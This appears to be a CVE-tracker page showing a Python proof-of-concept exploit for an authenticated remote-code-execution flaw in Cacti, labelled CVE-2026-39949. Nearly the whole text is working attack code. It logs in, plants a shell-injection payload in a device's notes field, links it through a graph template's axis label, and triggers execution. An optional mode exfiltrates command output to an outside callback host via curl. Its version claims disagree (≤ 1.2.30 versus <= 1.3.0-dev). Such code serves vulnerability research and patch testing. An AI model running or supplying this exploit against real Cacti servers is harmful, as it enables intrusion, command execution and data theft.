5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cacti_rce_poc.py PY
#!/usr/bin/env python3
"""
Cacti ≤ 1.2.30 — Authenticated RCE via Host Variable Injection (CVE-2026-39949)

  python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin
  python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --cmd 'id'
  python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --oob your.oastify.com
"""

import argparse, sys, time, re
import urllib.request, urllib.parse, http.cookiejar

R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"; B = "\033[1m"; E = "\033[0m"

def banner():
    print(fr"""{R}{B}
\|/          (__)    
     `\------(oo)
       ||    (__)
       ||w--||     \|/
   \|/
{E}{B}Cacti Authenticated RCE — Host Variable Injection into RRDtool{E}
""")


class CactiExploit:
    def __init__(self, url, user, pw):
        self.base = url.rstrip('/')
        self.user = user
        self.pw   = pw
        self.jar  = http.cookiejar.CookieJar()
        self.http = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.jar))
        self.http.addheaders = [('User-Agent', 'Mozilla/5.0')]

    def get(self, path, params=None):
        url = self.base + path + ('?' + urllib.parse.urlencode(params) if params else '')
        r = self.http.open(url, timeout=15)
        return r.read().decode('utf-8', errors='replace'), r.geturl()

    def post(self, path, data):
        r = self.http.open(urllib.request.Request(
            self.base + path,
            urllib.parse.urlencode(data).encode(),
            {'Content-Type': 'application/x-www-form-urlencoded'}
        ), timeout=15)
        return r.read().decode('utf-8', errors='replace'), r.geturl()

    def csrf(self, path, params=None):
        html, _ = self.get(path, params)
        m = re.search(r'name=["\']__csrf_magic["\'][^>]*value=["\']([^"\']+)["\']', html)
        return m.group(1) if m else ''

    def login(self):
        print(f"[*] Authenticating as {self.user}...")
        self.post('/index.php', {
            'action': 'login', 'login_username': self.user,
            'login_password': self.pw, '__csrf_magic': self.csrf('/index.php'),
        })
        for c in self.jar:
            if 'cacti' in c.name.lower():
                print(f"  {G}[+] Session established{E}")
                return True
        print(f"  {R}[-] Login failed{E}"); return False

    def create_device(self, notes):
        _, url = self.post('/host.php', {
            'action': 'save', 'save_component_host': '1', 'reindex_method': '1',
            'id': '0', 'host_template_id': '0', 'description': 'poc',
            'hostname': '127.0.0.1', 'location': '', 'poller_id': '1', 'site_id': '1',
            'device_threads': '1', 'availability_method': '0', 'snmp_options': '0',
            'ping_method': '1', 'ping_port': '23', 'ping_timeout': '400',
            'ping_retries': '1', 'snmp_version': '2', 'snmp_community': 'public',
            'snmp_security_level': 'authPriv', 'snmp_auth_protocol': 'MD5',
            'snmp_username': '', 'snmp_password': '', 'snmp_password_confirm': '',
            'snmp_priv_protocol': 'DES', 'snmp_priv_passphrase': '',
            'snmp_priv_passphrase_confirm': '', 'snmp_context': '', 'snmp_engine_id': '',
            'snmp_port': '161', 'snmp_timeout': '500', 'snmp_retries': '3',
            'max_oids': '10', 'bulk_walk_size': '0', 'external_id': '',
            'notes': notes, '__csrf_magic': self.csrf('/host.php', {'action': 'edit'}),
        })
        m = re.search(r'[?&]id=(\d+)', url)
        return m.group(1) if m else None

    def create_template(self):
        _, url = self.post('/graph_templates.php', {
            'action': 'save', 'save_component_template': '1',
            'graph_template_id': '0', 'graph_template_graph_id': '0',
            'name': 'poc', 'class': 'unassigned', 'version': '', 'title': 'poc',
            'vertical_label': '', 'image_format_id': '1', 'height': '200',
            'width': '700', 'base_value': '1000', 'auto_scale_opts': '2',
            'upper_limit': '100', 'lower_limit': '0', 'unit_value': '',
            'unit_exponent_value': '', 'unit_length': '', 'right_axis': '',
            'right_axis_label': '|host_notes|',          # injection vector
            'right_axis_format': '0', 'right_axis_formatter': '0',
            'left_axis_format': '0', 'left_axis_formatter': '0',
            'tab_width': '', 'legend_position': '0', 'legend_direction': '0',
            'rrdtool_version': '1.7.2',
            '__csrf_magic': self.csrf('/graph_templates.php', {'action': 'template_edit'}),
        })
        m = re.search(r'[?&]id=(\d+)', url)
        return m.group(1) if m else None

    def create_graph(self, host_id, tmpl_id):
        self.post('/graphs_new.php', {
            'save_component_graph': '1', 'cg_g': tmpl_id, 'host_id': str(host_id),
            'host_template_id': '0', 'action': 'save', 'graph_type': '-2', 'rows': '-1',
            '__csrf_magic': self.csrf('/graphs_new.php', {'reset': 'true', 'host_id': host_id}),
        })
        html, _ = self.get('/host.php', {'action': 'edit', 'id': host_id})
        ids = re.findall(r'graph_edit&(?:amp;)?id=(\d+)', html)
        return ids[-1] if ids else None

    def trigger(self, graph_id):
        try:
            self.get('/graph_image.php', {
                'local_graph_id': graph_id, 'rra_id': '0',
                'graph_start': '-3600', 'graph_end': '0',
            })
        except Exception:
            pass

    def run(self, cmd, oob=None):
        if oob:
            payload_cmd = f"curl -sk http://{oob}/$({cmd}|base64 -w0)"
        else:
            payload_cmd = cmd

        notes = f"'; ({payload_cmd} &); '"

        print(f"[*] Creating device...")
        host_id = self.create_device(notes)
        if not host_id: print(f"  {R}[-] Failed{E}"); return False
        print(f"  {G}[+] host_id={host_id}{E}")

        print(f"[*] Creating template...")
        tmpl_id = self.create_template()
        if not tmpl_id: print(f"  {R}[-] Failed{E}"); return False
        print(f"  {G}[+] template_id={tmpl_id}{E}")

        print(f"[*] Creating graph...")
        graph_id = self.create_graph(host_id, tmpl_id)
        if not graph_id: print(f"  {R}[-] Failed{E}"); return False
        print(f"  {G}[+] graph_id={graph_id}{E}")

        print(f"[*] Triggering...")
        time.sleep(1)
        self.trigger(graph_id)
        time.sleep(1)

        print(f"\n{G}{B}[+] Done.{E}")
        if oob:
            print(f"    {Y}Check collaborator for HTTP callback — path = base64({cmd}){E}")
        return True


def main():
    banner()
    p = argparse.ArgumentParser(description='Cacti <= 1.3.0-dev Authenticated RCE')
    p.add_argument('--url',  required=True)
    p.add_argument('--user', default='admin')
    p.add_argument('--pass', dest='password', default='admin')
    p.add_argument('--cmd',  default='id', help='Command to execute (default: id)')
    p.add_argument('--oob',  help='OOB callback host (Burp Collaborator / interactsh)')
    args = p.parse_args()

    e = CactiExploit(args.url, args.user, args.password)
    if not e.login(): sys.exit(1)
    e.run(cmd=args.cmd, oob=args.oob)


if __name__ == '__main__':
    main()